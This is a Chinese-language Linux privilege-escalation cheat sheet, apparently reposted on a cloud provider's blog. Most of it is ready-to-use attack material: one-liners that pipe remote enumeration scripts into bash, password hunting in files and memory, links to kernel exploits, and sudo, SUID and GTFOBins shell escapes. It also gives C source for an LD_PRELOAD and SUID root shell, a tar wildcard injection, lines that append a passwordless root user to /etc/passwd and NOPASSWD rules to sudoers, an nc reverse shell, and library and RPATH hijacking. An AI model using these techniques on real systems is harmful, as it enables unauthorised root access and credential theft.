Linux提权备忘录

本文涉及的产品
云数据库 RDS MySQL Serverless,0.5-2RCU 50GB
云数据库 RDS MySQL Serverless,价值2615元额度,1个月
简介: Linux提权备忘录

一、判断是否为虚拟机


cat /proc/scsi/scsi


dmesg |grep -i vir


w / who 查询目前登录系统的用户



二、辅助工具


1. LinuxSmartEnumeration(参考了LinEnum.sh)


三个工作模式可选:


-l 0 (缺省),显示特别重要的信息


-l 1 显示interesting的信息


-l 2 显示所有的信息


wget "https://github.com/diego-treitos/linux-smartenumeration/raw/master/lse.sh" -O lse.sh;chmod 700 lse.sh

curl "https://github.com/diego-treitos/linux-smartenumeration/raw/master/lse.sh" -Lo lse.sh;chmod 700 lse.sh

单行执行:bash <(wget -q -O - https://raw.githubusercontent.com/diegotreitos/linux-smart-enumeration/master/lse.sh) -l2 -i

bash <(curl -s https://raw.githubusercontent.com/diego-treitos/linux-smartenumeration/master/lse.sh) -l1 -i

2. LinEnum


常用命令:./LinEnum.sh -r report -e /tmp/ -t 生成的结果将导出到 /tmp/report 文件


如果什么都不加的话,就是输出到标准输出


3. BeRootProject


python beroot.py --password super_strong_password


这个工具包含了GTFOBins所提到的文件列表,也就是说,可以检查出一些通过sudo运行即可提权


的文件。


4. Pupy


基于python的内存态后渗透利用框架


5. SUDO_KILLER探测脚本



三、信息搜集


1、关注点主要在:计划任务、具有suid的命令


2、内核和发行版的详细信息


3、系统信息:主机名


网络信息:当前IP、默认路由、DNS信息


4、用户信息:


当前用户详细信息


上次登录的用户


当前登录到主机的用户


列出所有用户uid、gid


列出root用户


密码策略和hash存储方法信息


umask值


检查password hash是否存在于 /etc/passwd (这个文件是全局可读的)


提取默认的uid的信息信息(0、1000、1001之类的)


尝试读取受限文件(例如 /etc/shadow )


列出当前用户的历史文件(例如 .bash_history 、 .nano_history 、 .mysql_histroy 、 .swp 文件)


ssh


5、特权检查


哪些用户最近使用了 sudo


/etc/sudoers 是否可以访问


确定当前用户是否可以不使用即可使用 sudo


确定通过sudo可能利用即可获得权限的命令


root 目录是否可以访问


查看 home 目录下的权限


6、环境信息:


查看当前的$PATH


查看当前的 env 信息


7、计划任务、进程


查看计划任务


确定属于其他用户的全局可写的计划任务


列出系统计时器(活动的、不活动的)


8、服务:


列出网络连接


列出当前进程


查看进程对应的二进制文件以及权限


列出 inetd.conf/xined.conf 的内容以及相关二进制程序的权限


列出 init.d 二进制的权限


9、查看版本信息:


sudo


mysql


postgres


apache


查看用户配置


查看可用模块


查看htpasswd文件


查看www目录


10、默认/弱口令的证书


主要是数据库的默认密码、弱口令


重点搜索:


所有具有SUID/GUID的文件,尤其是全局可写的SUID/GUID的文件、属于root的具有


SUID/GUID的文件


Locate files with POSIX capabilities?capabilities一种安全机制


带有 *.plan 、 *.rhosts 、 *.log 、 *.conf 的文件


NFS服务信息


本地邮件


11、特定的软件


docker


LXC



四、密码相关


1. 查找包含密码的文件(关键字 password )


grep --color=auto -rnw '/' -ie "PASSWORD" --color=always 2> /dev/null


find . -type f -exec grep -i -I "PASSWORD" {} /dev/null \;


2. 查看过期的密码


pam_cracklib会保存过期的密码记录在 /etc/security/opasswd 文件中。


3. 查看用户最后编辑的文件


find / -mmin -10 2>/dev/null | grep -Ev "^/proc"


最近十分钟编辑的文件


4. 内存中的密码


strings /dev/mem -n10 | grep -i PASS


5. 查看敏感文件


$ locate password | more


/boot/grub/i386-pc/password.mod


/etc/pam.d/common-password


/etc/pam.d/gdm-password


/etc/pam.d/gdm-password.original


/lib/live/config/0031-root-password



五、计划任务


Cron


检查系统中存在的cron计划任务,看看是否有权限访问和修改


检查文件内容,看看有没有可以提权的途径


利用pspy工具,检查命令和文件系统事件 ./pspy64 -pf -i 1000


敏感目录


/etc/init.d


/etc/cron*


/etc/crontab


/etc/cron.allow


/etc/cron.d


/etc/cron.deny


/etc/cron.daily


/etc/cron.hourly


/etc/cron.monthly


/etc/cron.weekly


/etc/sudoers


/etc/exports


/etc/anacrontab


/var/spool/cron


/var/spool/cron/crontabs/root


crontab -l


ls -alh /var/spool/cron;


ls -al /etc/ | grep cron


ls -al /etc/cron*


cat /etc/cron*


cat /etc/at.allow


cat /etc/at.deny


cat /etc/cron.allow


cat /etc/cron.deny*


cron的日志文件存储为 /var/log/cronlog ,可以看到最近执行的定时任务信息。


配置文件读取路径:


/var/spool/cron/ , 由crontab -e 进行写入,配置文件无需指定用户;用户创建的任务在对应用户名文件夹下。


/etc/crontab ,只能root 进行编辑,配置文件需指定用户


/etc/cron.d/ ,在此文件夹下创建定时任务文件(和 /etc/crontab 一样)


日志保存地址:/var/log/cron ;要禁止某个用户使用,将用户名添加到 /etc/cron.deny文件中。


systemd timers


系统定时器,也是计划任务的一种


查询命令:systemctl list-timers --all


相关信息:


如果想使用systemd作为定时器,需要先创建一个服务单元,之后再创建计时器单元


重新加载配置:systemctl daemon-reload


journalctl -u mytimer 查看 mytimer.timer 和 mytimer.service 的日志


详细原理:https://www.linuxidc.com/Linux/2019-05/158599.htm



六、内核漏洞


内核提权漏洞(依靠EXP)


1. 在exploit-db、或者其他搜索引擎上查找相关提权漏洞。


2. 利用脏牛 2.6.22<=kernel <= 4.8.3、4.7.9、4.4.26LTS )


3. 一般这种提权漏洞都是c的,需要gcc编译 gcc filename -o outfilename 。


内核漏洞搜集项目:


https://github.com/lucyoa/kernel-exploits/


https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits


https://github.com/SecWiki/linux-kernel-exploits 中文 NICE~


https://github.com/xairy/kernel-exploits


https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack/


常见漏洞:


1. CVE-2016-5195 (DirtyCow):(Linux Kernel <= 3.19.0-73.8)


https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs


https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c


2. CVE-2010-3904 (RDS):(Linux Kernel <= 2.6.36-rc8)


https://www.exploit-db.com/exploits/15285/


3. CVE-2010-4258 (Full Nelson):(Linux Kernel 2.6.37 (RedHat / Ubuntu 10.04))


https://www.exploit-db.com/exploits/15704/


4. CVE-2012-0056 (Mempodipper):(Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64))


https://www.exploit-db.com/exploits/18411


利用sudo命令


1. sudo -l :查看当前用户sudo支持的命令


$ sudo -l


User demo may run the following commands on crashlab:


(root) NOPASSWD: /usr/bin/mysql


比如以上结果列出了mysql,就可以使用 sudo mysql -e '\! /bin/sh' 获得一个特权shell,或者 sudo -u root mysql -e '\! /bin/sh'


最牛逼的情况:ignite ALL=(root) NOPASSWD: ALL


2. 使用用户密码切换到root用户:sudo -i 、 sudo su 、 sudo su -


3. 利用LD_PRELOAD:


如果在 sudoers 文件(/etc/sudoers)中明确定义了LD_PRELOAD的内容:


Defaults env_keep += LD_PRELOAD


可以使用以下代码,编译共享链接库 gcc -fPIC -shared -o shell.so shell.c -nostartfiles


//shell.c

#include <stdio.h>

#include <sys/types.h>

#include <stdlib.h>

void _init() {

unsetenv("LD_PRELOAD");

setgid(0);

setuid(0);

system("/bin/sh");

}


使用如下命令,执行任何二进制程序以获得shell


sudo LD_PRELOAD=<full_path_to_so_file> <program>


举个例子:sudo LD_PRELOAD=/tmp/shell.so find


4. 同时要注意其他和sudo有同样功能的程序,比如openBSD的 doas 命令


# /etc/doas.conf


# 以root用户不需要密码执行 procmap


permit nopass tedu as root cmd /usr/sbin/procmap


5. sudo_inject


在 /proc/sys/kernel/yama/ptrace_scope 中值为0,并且当前用户有正在使用sudo运行的进程的时候,可以只用sudo_inject攻击来滥用当前令牌。


6. 如果有权限的话,可以看看后面的内容


关于SUDO


sudo:配置文件默认在 /etc/sudoers ,推荐使用 visudo 工具来编辑,可以语法检查。


四种别名:Host_Alias(主机列表)、Cmnd_Alias(命令列表【绝对路径】,如果想禁用某些命令前面加 !即可)、User_Alias(用户列表)、Runas_Alias(用户以什么身份执行)


格式:USER_FLAG HOST_FLAG=(RUNAS_FLAG) COMMAND_FLAG ,如果不需要密码的话


USER_FLAG HOST_FLAG=(RUNAS_FLAG) NOPASSWD: COMMAND_FLAG



七、利用SUID提权


1. 查找具有suid权限的命令:find / -user root -perm -4000 -print 2>/dev/null 、 find / -perm -u=s -type f 2>/dev/null 、 find / -user root -perm -4000 -exec ls -ldb {} \; 、find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \; 、 find / -uid 0 -perm -4000 -type f 2>/dev/null


2. 常见的用于SUID提权的程序:


3. Nmap:较旧版本的Nmap(2.02至5.21)带有交互模式,从而允许用户执行shell命令。


nmap --interactive , nmap> !sh 。


4. find:`touch test`


find test -exec whoami \;


find test -exec bash -p \;


find test -exec /bin/sh \; (DC1就遇到bash无法提权,但是sh可以提权的情况)


find test -exec nc -e /bin/sh 192.168.139.128 9999 \;


5. vim:直接编辑文件 vim /etc/shadow ,或者进入vim后启动sh交互。


:set shell=/bin/sh


:shell


或者:vim -c '!sh'


6. bash:bash -p


7. 利用less执行命令:less /etc/passwd , !/bin/sh (已经设置suid的sh)、(more也可以)


8、为什么可以使用SUID提权:SUID代表“执行时设置用户ID”,具有该标志位的文件在执行时,运行的uid变为属主身份,也就是说,如果一个程序属主是root,并具有suid标志位,其他用户运行时uid会临时变为root。


9. 构造一个具有suid的程序(如果root权限的话):


给程序添加suid标记:chmod +s 文件


利用自己的代码做一个suid的shell

// filename: suid.c
int main(void){
setgid(0);
setuid(0);
system("/bin/bash");
}
// 或者
int main(void){
setresuid(0, 0, 0);
system("/bin/sh");
}

gcc编译之后, chown root:root /tmp/suid; chmod 4777 /tmp/suid 【注意,得先把属主改为root,之后再添加s标志】



八、GTFOBins


GTFOBins是一个精选的Unix二进制列表,攻击者可以利用它来绕过本地安全限制。


1、利用vim获得shell:


:set shell=/bin/bash , :shell


:! /bin/bash


2. 利用 awk:awk 'BEGIN {system("/bin/sh")}'


3. 利用find :find / -name blahblah -exec /bin/awk 'BEGIN {system("/bin/sh")}' \;


4. 利用more 和 less:! /bin/bash



九、通配符


通过将tar与–checkpoint-action选项一起使用,可以在检查点之后使用指定的操作。此操作可能是恶意的Shell脚本,可用于在启动tar的用户下执行任意命令。使用特定选项的“欺骗”根源非常简单,这就是通配符派上用场的地方。


touch -- "--checkpoint=1"


touch -- "--checkpoint-action=exec=sh shell.sh"


echo "#\!/bin/bash\ncat /etc/passwd > /tmp/flag\nchmod 777 /tmp/flag" >


shell.sh


# vulnerable script


tar cf archive.tar *


详细原理请看《关于通配符提权》的笔记。


利用工具:wildpwn(其实就是将创建文件自动化了)


但是提供了一个自动化的攻击思路

0a2653c851af460fa595bd959398a8f1.png

十、利用可写文件(敏感文件)

1、搜索可写文件

find / -writable ! -user \`whoami\` -type f ! -path "/proc/*" ! -path
"/sys/*" -exec ls -al {} \; 2>/dev/null
find / -perm -2 -type f 2>/dev/null
find / ! -path "*/proc/*" -perm -2 -type f -print 2>/dev/null

2、写/etc/passwd


生成密码字符串的三种方式:


openssl passwd -1 -salt 盐值 密码


mkpasswd -m SHA-512 密码


python2 -c 'import crypt; print crypt.crypt("密码", "$6$salt")'


按照如下格式添加到 /etc/passwd 文件中


用户名:生成的密码:0:0:Hacker:/root:/bin/bash


不生成密码的方式(极其暴力)


echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd


su - dummy


BSD 系统中文件名称为:/etc/pwd.db 、 /etc/master.passwd 、 /etc/spwd.db


3、写/etc/sudoers


echo "用户名 ALL=(ALL:ALL) ALL">>/etc/sudoers


# use SUDO without password


echo "用户名 ALL=(ALL) NOPASSWD: ALL" >>/etc/sudoers


echo "用户名 ALL=NOPASSWD: /bin/bash" >>/etc/sudoers



十一、NFS权限压缩


NFS的配置文件:/etc/exports


如果no_root_squash 出现在配置文件中的话,如果目录分享者是root,那么对于远程挂载


用户来说,他也具有了该目录下root的权限。


具体操作:


查看远程主机共享的文件夹:showmount -e 10.10.10.10


建立目录、挂载远程主机共享文件


mkdir /tmp/nfsdir


mount -t nfs 10.10.10.10:/shared /tmp/nfsdir


cd /tmp/nfsdir


恶意利用:


# copy wanted shell


cp /bin/bash .


# set suid permission


chmod +s bash


十二、共享库


系统识别共享库的顺序:


1. rpath-link选项中指定的目录


2. –rpath选项中指定的目录


3. LD_RUN_PATH


4. LD_LIBRARY_PATH


5. DT_RUNPATH或DT_RPATH中的目录


6. /lib 、/usr/lib


7. /etc/ld.so.conf下的目录。


利用 ldconfig


识别程序所使用的动态链接库信息(实际是需要同名替换) ldd 二进制文件


0a2653c851af460fa595bd959398a8f1.png

编译一个同名为 vulnlib.so 的文件,进行替换(这个地方不确定要不要加版本号)


gcc –Wall –fPIC –shared –o vulnlib.so /tmp/vulnlib.c
echo "/tmp/" > /etc/ld.so.conf.d/exploit.conf && ldconfig -l /tmp/vulnlib.so /opt/binary

后面的数字作为版本号,连接器并不识别后面的内容,只识别到 so


命名规范的话:


主版本号:不同的版本号之间不兼容


次版本号:增量升级 向后兼容


发行版本号:对应次版本的错误修正和性能提升,不影响兼容性


0a2653c851af460fa595bd959398a8f1.png


十三、利用RPATH


查看程序使用RPATH情况:readelf -d 文件名 | egrep "NEEDED|RPATH"


0eacb84100b54626af849e6b562bf92a.png


根据上边的结果,在 /var/tmp/flag15 路径下构造恶意共享库



gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6
#include<stdlib.h>
#define SHELL "/bin/sh"
int __libc_start_main(int (*main) (int, char **, char **), int argc,
char ** ubp_av, void (*init) (void), void (*fini) (void), void
(*rtld_fini) (void), void (* stack_end))
{
char *file = SHELL;
char *argv[] = {SHELL,0};
setresuid(geteuid(),geteuid(), geteuid());
execve(file,argv,0);
}


文章来源于网络,如有侵权,请联系删除


禁止非法,后果自负



目录
相关文章
|
5月前
|
网络协议 Linux 网络安全
2023年中职“网络安全“—Linux系统深入提权③
2023年中职“网络安全“—Linux系统深入提权③
67 2
|
5月前
|
网络协议 Linux 测试技术
2023年中职“网络安全“—Linux系统深入提权②
2023年中职“网络安全“—Linux系统深入提权②
58 0
|
12月前
|
Ubuntu 安全 Linux
CVE-2021-3493 Linux kernel提权漏洞复现
CVE-2021-3493 Linux kernel提权漏洞复现
171 0
|
8月前
|
安全 Linux 数据安全/隐私保护
Linux DirtyPipe 内核提权漏洞 (CVE-2022-0847)
它是自 5.8 以来 Linux 内核中的一个漏洞,它允许覆盖任意只读文件中的数据。这会导致权限提升,因为非特权进程可以将代码注入根进程。
94 1
|
8月前
|
缓存 安全 Linux
Linux内核提权漏洞—CVE-2022-0874
Linux内核提权漏洞—CVE-2022-0874
86 1
|
9月前
|
安全 Shell Linux
linux提权总结
linux提权总结
205 0
|
12月前
|
存储 安全 Unix
干货 | 最详细Linux提权总结(建议收藏)
干货 | 最详细Linux提权总结(建议收藏)
1736 0
|
12月前
|
Linux 开发工具 C语言
Linux中如何给普通用户提权
Linux中如何给普通用户提权
|
12月前
|
安全 Linux
Linux 系统安全 - 近期发现的 polkit pkexec 本地提权漏洞(CVE-2021-4034)修复方案
Linux 系统安全 - 近期发现的 polkit pkexec 本地提权漏洞(CVE-2021-4034)修复方案
1043 1
|
存储 安全 网络协议
Linux提权总结
Linux提权总结
221 0